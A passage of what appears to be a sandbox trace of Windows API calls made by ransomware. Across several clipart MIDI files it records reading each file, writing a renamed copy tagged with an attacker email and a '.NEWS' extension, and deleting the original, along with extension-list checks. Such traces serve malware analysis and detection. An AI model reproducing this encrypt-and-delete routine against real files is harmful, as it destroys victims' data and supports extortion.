CloseHandle (hObject=0x454) returned 1 [0167.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0167.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.550] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.550] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0167.551] GetLastError () returned 0x0 [0167.551] ReadFile (in: hFile=0x454, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0167.553] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0167.554] ReadFile (in: hFile=0x454, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.555] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.555] SetEndOfFile (hFile=0x54c) returned 1 [0167.555] CloseHandle (hObject=0x54c) returned 1 [0167.555] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.555] SetEndOfFile (hFile=0x454) returned 1 [0167.558] CloseHandle (hObject=0x454) returned 1 [0167.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0167.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.560] lstrlenW (lpString=".doc") returned 4 [0167.560] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.560] lstrlenW (lpString=".docx") returned 5 [0167.560] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.560] lstrlenW (lpString=".pdf") returned 4 [0167.560] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.560] lstrlenW (lpString=".xls") returned 4 [0167.560] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.560] lstrlenW (lpString=".xlsx") returned 5 [0167.560] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.560] lstrlenW (lpString=".ppt") returned 4 [0167.560] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.560] lstrlenW (lpString=".zip") returned 4 [0167.560] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.560] lstrlenW (lpString=".rar") returned 4 [0167.560] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.560] lstrlenW (lpString=".bz2") returned 4 [0167.561] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.561] lstrlenW (lpString=".7z") returned 3 [0167.561] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.561] lstrlenW (lpString=".dbf") returned 4 [0167.561] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.561] lstrlenW (lpString=".1cd") returned 4 [0167.561] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.561] lstrlenW (lpString=".jpg") returned 4 [0167.561] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.561] lstrlenW (lpString=".doc") returned 4 [0167.561] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.561] lstrlenW (lpString=".docx") returned 5 [0167.561] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.561] lstrlenW (lpString=".pdf") returned 4 [0167.561] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.561] lstrlenW (lpString=".xls") returned 4 [0167.561] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.561] lstrlenW (lpString=".xlsx") returned 5 [0167.561] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.561] lstrlenW (lpString=".ppt") returned 4 [0167.561] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.562] lstrlenW (lpString=".zip") returned 4 [0167.562] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.562] lstrlenW (lpString=".rar") returned 4 [0167.562] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.562] lstrlenW (lpString=".bz2") returned 4 [0167.562] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.562] lstrlenW (lpString=".7z") returned 3 [0167.562] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.562] lstrlenW (lpString=".dbf") returned 4 [0167.562] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.562] lstrlenW (lpString=".1cd") returned 4 [0167.562] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0167.562] lstrlenW (lpString=".jpg") returned 4 [0167.562] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.562] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.562] lstrlenW (lpString="HTECH_01.MID") returned 12 [0167.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.563] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=7178) returned 1 [0167.564] CloseHandle (hObject=0x454) returned 1 [0167.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0167.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.564] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.564] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0167.566] GetLastError () returned 0x0 [0167.566] ReadFile (in: hFile=0x454, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0167.733] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0167.739] ReadFile (in: hFile=0x454, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.740] WriteFile (in: hFile=0x54c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.740] SetEndOfFile (hFile=0x54c) returned 1 [0167.790] CloseHandle (hObject=0x54c) returned 1 [0167.790] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.790] SetEndOfFile (hFile=0x454) returned 1 [0167.794] CloseHandle (hObject=0x454) returned 1 [0167.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0168.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.246] lstrlenW (lpString=".doc") returned 4 [0168.246] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.246] lstrlenW (lpString=".docx") returned 5 [0168.246] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.247] lstrlenW (lpString=".pdf") returned 4 [0168.247] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.247] lstrlenW (lpString=".xls") returned 4 [0168.247] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.247] lstrlenW (lpString=".xlsx") returned 5 [0168.247] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.247] lstrlenW (lpString=".ppt") returned 4 [0168.247] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.247] lstrlenW (lpString=".zip") returned 4 [0168.247] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.247] lstrlenW (lpString=".rar") returned 4 [0168.247] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.247] lstrlenW (lpString=".bz2") returned 4 [0168.247] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.247] lstrlenW (lpString=".7z") returned 3 [0168.247] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.247] lstrlenW (lpString=".dbf") returned 4 [0168.247] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.247] lstrlenW (lpString=".1cd") returned 4 [0168.247] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.247] lstrlenW (lpString=".jpg") returned 4 [0168.247] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.248] lstrlenW (lpString=".doc") returned 4 [0168.248] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.248] lstrlenW (lpString=".docx") returned 5 [0168.248] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.248] lstrlenW (lpString=".pdf") returned 4 [0168.248] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.248] lstrlenW (lpString=".xls") returned 4 [0168.248] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.248] lstrlenW (lpString=".xlsx") returned 5 [0168.248] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.248] lstrlenW (lpString=".ppt") returned 4 [0168.248] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.248] lstrlenW (lpString=".zip") returned 4 [0168.248] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.248] lstrlenW (lpString=".rar") returned 4 [0168.249] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.249] lstrlenW (lpString=".bz2") returned 4 [0168.249] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.249] lstrlenW (lpString=".7z") returned 3 [0168.249] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.249] lstrlenW (lpString=".dbf") returned 4 [0168.249] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.249] lstrlenW (lpString=".1cd") returned 4 [0168.249] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0168.249] lstrlenW (lpString=".jpg") returned 4 [0168.249] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.249] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0168.249] lstrlenW (lpString="PARNT_02.MID") returned 12 [0168.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0168.251] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=5714) returned 1 [0168.251] CloseHandle (hObject=0x4e8) returned 1 [0168.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0168.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0168.252] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.252] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0168.253] GetLastError () returned 0x0 [0168.253] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x1652, lpOverlapped=0x0) returned 1 [0168.501] WriteFile (in: hFile=0x550, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x1660, lpOverlapped=0x0) returned 1 [0168.502] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.502] WriteFile (in: hFile=0x550, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.502] SetEndOfFile (hFile=0x550) returned 1 [0168.503] CloseHandle (hObject=0x550) returned 1 [0168.503] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.503] SetEndOfFile (hFile=0x4e8) returned 1 [0168.508] CloseHandle (hObject=0x4e8) returned 1 [0168.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0168.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.510] lstrlenW (lpString=".doc") returned 4 [0168.510] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.510] lstrlenW (lpString=".docx") returned 5 [0168.510] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0168.510] lstrlenW (lpString=".pdf") returned 4 [0168.510] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.510] lstrlenW (lpString=".xls") returned 4 [0168.510] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.510] lstrlenW (lpString=".xlsx") returned 5 [0168.510] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0168.510] lstrlenW (lpString=".ppt") returned 4 [0168.510] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.510] lstrlenW (lpString=".zip") returned 4 [0168.510] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.510] lstrlenW (lpString=".rar") returned 4 [0168.510] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.510] lstrlenW (lpString=".bz2") returned 4 [0168.510] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.510] lstrlenW (lpString=".7z") returned 3 [0168.510] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.510] lstrlenW (lpString=".dbf") returned 4 [0168.510] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.510] lstrlenW (lpString=".1cd") returned 4 [0168.511] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.511] lstrlenW (lpString=".jpg") returned 4 [0168.511] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.511] lstrlenW (lpString=".doc") returned 4 [0168.511] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.511] lstrlenW (lpString=".docx") returned 5 [0168.511] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0168.511] lstrlenW (lpString=".pdf") returned 4 [0168.511] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.511] lstrlenW (lpString=".xls") returned 4 [0168.511] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.511] lstrlenW (lpString=".xlsx") returned 5 [0168.511] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0168.511] lstrlenW (lpString=".ppt") returned 4 [0168.511] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.511] lstrlenW (lpString=".zip") returned 4 [0168.511] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.511] lstrlenW (lpString=".rar") returned 4 [0168.511] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.511] lstrlenW (lpString=".bz2") returned 4 [0168.511] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.511] lstrlenW (lpString=".7z") returned 3 [0168.511] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.512] lstrlenW (lpString=".dbf") returned 4 [0168.512] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.512] lstrlenW (lpString=".1cd") returned 4 [0168.512] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0168.512] lstrlenW (lpString=".jpg") returned 4 [0168.512] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.512] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0168.512] lstrlenW (lpString="PARNT_06.MID") returned 12 [0168.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0168.514] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=7768) returned 1 [0168.514] CloseHandle (hObject=0x4e8) returned 1 [0168.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0168.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 